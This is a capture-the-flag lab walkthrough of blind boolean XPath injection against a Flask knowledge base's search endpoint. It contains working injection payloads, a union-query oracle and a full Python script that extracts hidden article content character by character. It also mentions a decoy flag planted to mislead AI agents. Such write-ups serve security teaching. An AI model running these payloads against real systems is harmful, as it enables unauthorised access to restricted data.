Lab 334 — DocuNest — XPath Injection in Knowledge Base Search
Lab 334 — DocuNest — XPath Injection in Knowledge Base Search
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_boolean_xpath_injection, xpath_union_query_oracle, xml_structure_enumeration_via_blind_injection, character_by_character_substring_extraction, xpath_count_enumeration, honeypot_flag_identification, xpath_attribute_brute_force
Summary
Walkthrough of the CUSTOM Web Lab 334 — DocuNest — XPath Injection in Knowledge Base Search. Task: Flask knowledge base with XML-backed search; /search?q= is vulnerable to XPath injection, but @visible attribute filtering in both XPath and app code prevents direct display of hidden articles.
Description
DocuNest is a team knowledge base platform built by NestWare Solutions, where organizations manage their internal documentation. The application lets users browse articles, search across the knowledge base, and manage content through categories and tags. Some articles are restricted to certain access levels and are not visible through normal browsing. Your goal is to find and retrieve sensitive information that should not be accessible through the normal interface. The search functionality queries an XML-based data store. Investigate how the search feature works and determine if it can be manipulated to access restricted content.
English summary: A Flask-based knowledge base application where the search feature queries an XML data store via XPath. The search endpoint /search?q= is vulnerable to XPath injection. Some articles have a @visible='false' attribute and are hidden from normal browsing. The @visible filtering is enforced both at the XPath query level AND in application-side code, so hidden articles can never be displayed directly — requiring a blind extraction approach.
Credentials: user@test.com / password123
Analysis
Application Overview
| Feature | Detail |
|---|---|
| Platform | Flask-based knowledge base by NestWare Solutions |
| Stats | 16 visible articles, 6 categories, 4 authors |
| Categories | engineering, product, hr, design, operations + 1 hidden |
| Search | GET /search?q= — queries XML data store |
| Data store | XML file with //articles/article structure |
| Auth | Email/password login via POST /login |
Honeypot Flag Detection
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements. This is designed to trick AI agents and automated scanners into reporting a fake flag. Correctly identified and ignored.
XPath Injection Confirmation
| Test Input | Result | Meaning |
|---|---|---|
test | 6 results | Normal search |
' (single quote) | No results | Graceful error handling, no stack trace |
') or true() or (' | All 16 articles | XPath injection confirmed — boolean true returns everything |
') or false() or (' | No results | Boolean false returns nothing — full control |
Reconstructed XPath Query
xpath read-only • copy allowed//articles/article[(contains(title, '{INPUT}') or contains(content, '{INPUT}') or contains(tags, '{INPUT}')) and @visible='true']
Evidence:
name(.)=article(current element)name(..)=articles(parent element)- Multi-field search: content-specific terms like "pytest" matched articles containing those terms in body text
XML Structure (Enumerated via Blind Injection)
Child elements per article (6):
title,author,content,updated,tags,created
Attributes per article (3):
@id,@category,@visible
Total article count: 19 (determined via count(//article) > N binary search)
- 16 articles with
@visible='true'(displayed normally) - 3 hidden articles with
@visible='false'(positions 17, 18, 19)
Double Filtering Problem
The @visible attribute is enforced at two levels:
- XPath level: The query includes
and @visible='true'— hidden articles are excluded from results - Application level: Even if XPath returns hidden articles, the Flask code filters them out before rendering
This means no injection can make hidden articles appear in search results. A blind extraction approach is required.
Solution
Step 1: Login
bash read-only • copy allowedTARGET="https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io" # Login and establish session curl -sk -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" -L
Step 2: Build the Boolean Oracle
The key insight is using XPath's union operator (|) to create a reliable true/false oracle. The payload structure:
x') or CONDITION) and @visible='true'] | //articles/article[(false()) and (contains(title,'x
This produces the full XPath:
xpath read-only • copy allowed//articles/article[(contains(title, 'x') or CONDITION) and @visible='true'] | //articles/article[(false()) and (contains(title,'x') or contains(content,'x') or contains(tags,'x')) and @visible='true']
- If CONDITION is true: First union part matches all 16 visible articles → response contains "Found 16 results"
- If CONDITION is false: Neither part matches → response shows "No results"
The second union part always evaluates to false (due to false() and ...), so it's a no-op that cleanly closes the injected syntax.
Step 3: Locate the Flag
python read-only • copy allowed# Verify oracle check("true()") # → Found 16 results ✓ check("false()") # → No results ✓ # Confirm hidden articles at positions 17-19 check("//article[17]/@visible = 'false'") # → True check("//article[18]/@visible = 'false'") # → True check("//article[19]/@visible = 'false'") # → True # Find which hidden article contains the flag check("contains(//article[17]/content, 'FLAG')") # → False check("contains(//article[18]/content, 'FLAG')") # → False check("contains(//article[19]/content, 'FLAG')") # → True ← FLAG is here # Determine content length (binary search) check("string-length(//article[19]/content) > 30") # → True check("string-length(//article[19]/content) > 40") # → False check("string-length(//article[19]/content) = 38") # → True
Article 19's content is exactly 38 characters — the flag string FLAG{REDACTED}.
Step 4: Character-by-Character Extraction
python read-only • copy allowed#!/usr/bin/env python3 """Blind XPath injection flag extractor for DocuNest challenge.""" import requests import string BASE = "https://428321ee-c4f2-4e85-9822-205b02d21819.labs.hackadvisor.io" session = requests.Session() session.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) CHARSET = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=.,;:/<>?~`| " def check_condition(condition): """Returns True if the XPath condition evaluates to true (oracle returns 16 results).""" payload = ( f"x') or {condition}) and @visible='true'] " f"| //articles/article[(false()) and (contains(title,'x" ) resp = session.get(f"{BASE}/search", params={"q": payload}) return "Found 16 results" in resp.text # Verify oracle assert check_condition("true()"), "Oracle broken: true() should return results" assert not check_condition("false()"), "Oracle broken: false() should return no results" # Extract article 19 content (38 chars) result = "" for pos in range(1, 39): found = False for char in CHARSET: if char == "'": condition = f'substring(//article[19]/content, {pos}, 1) = concat("", "\'")' else: condition = f"substring(//article[19]/content, {pos}, 1) = '{char}'" if check_condition(condition): result += char print(f"Position {pos}: '{char}' -> {result}") found = True break if not found: print(f"Position {pos}: no match found, stopping") break print(f"\nFlag: {result}")
Output:
Position 1: 'F' -> F
Position 2: 'L' -> FL
Position 3: 'A' -> FLA
Position 4: 'G' -> FLAG
Position 5: '{' -> FLAG{
Position 6: 'e' -> FLAG{e
...
Position 37: 'c' -> FLAG{REDACTED
Position 38: '}' -> FLAG{REDACTED}
Flag: FLAG{REDACTED}
Total requests: ~38 positions × ~36 average charset checks ≈ 1,400 requests.
Key Takeaways / Lessons
- Mastering blind_boolean_xpath_injection, xpath_union_query_oracle, xml_structure_enumeration_via_blind_injection, character_by_character_substring_extraction, xpath_count_enumeration, honeypot_flag_identification, xpath_attribute_brute_force was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 334 — DocuNest — XPath Injection in Knowledge Base Search • Difficulty: Medium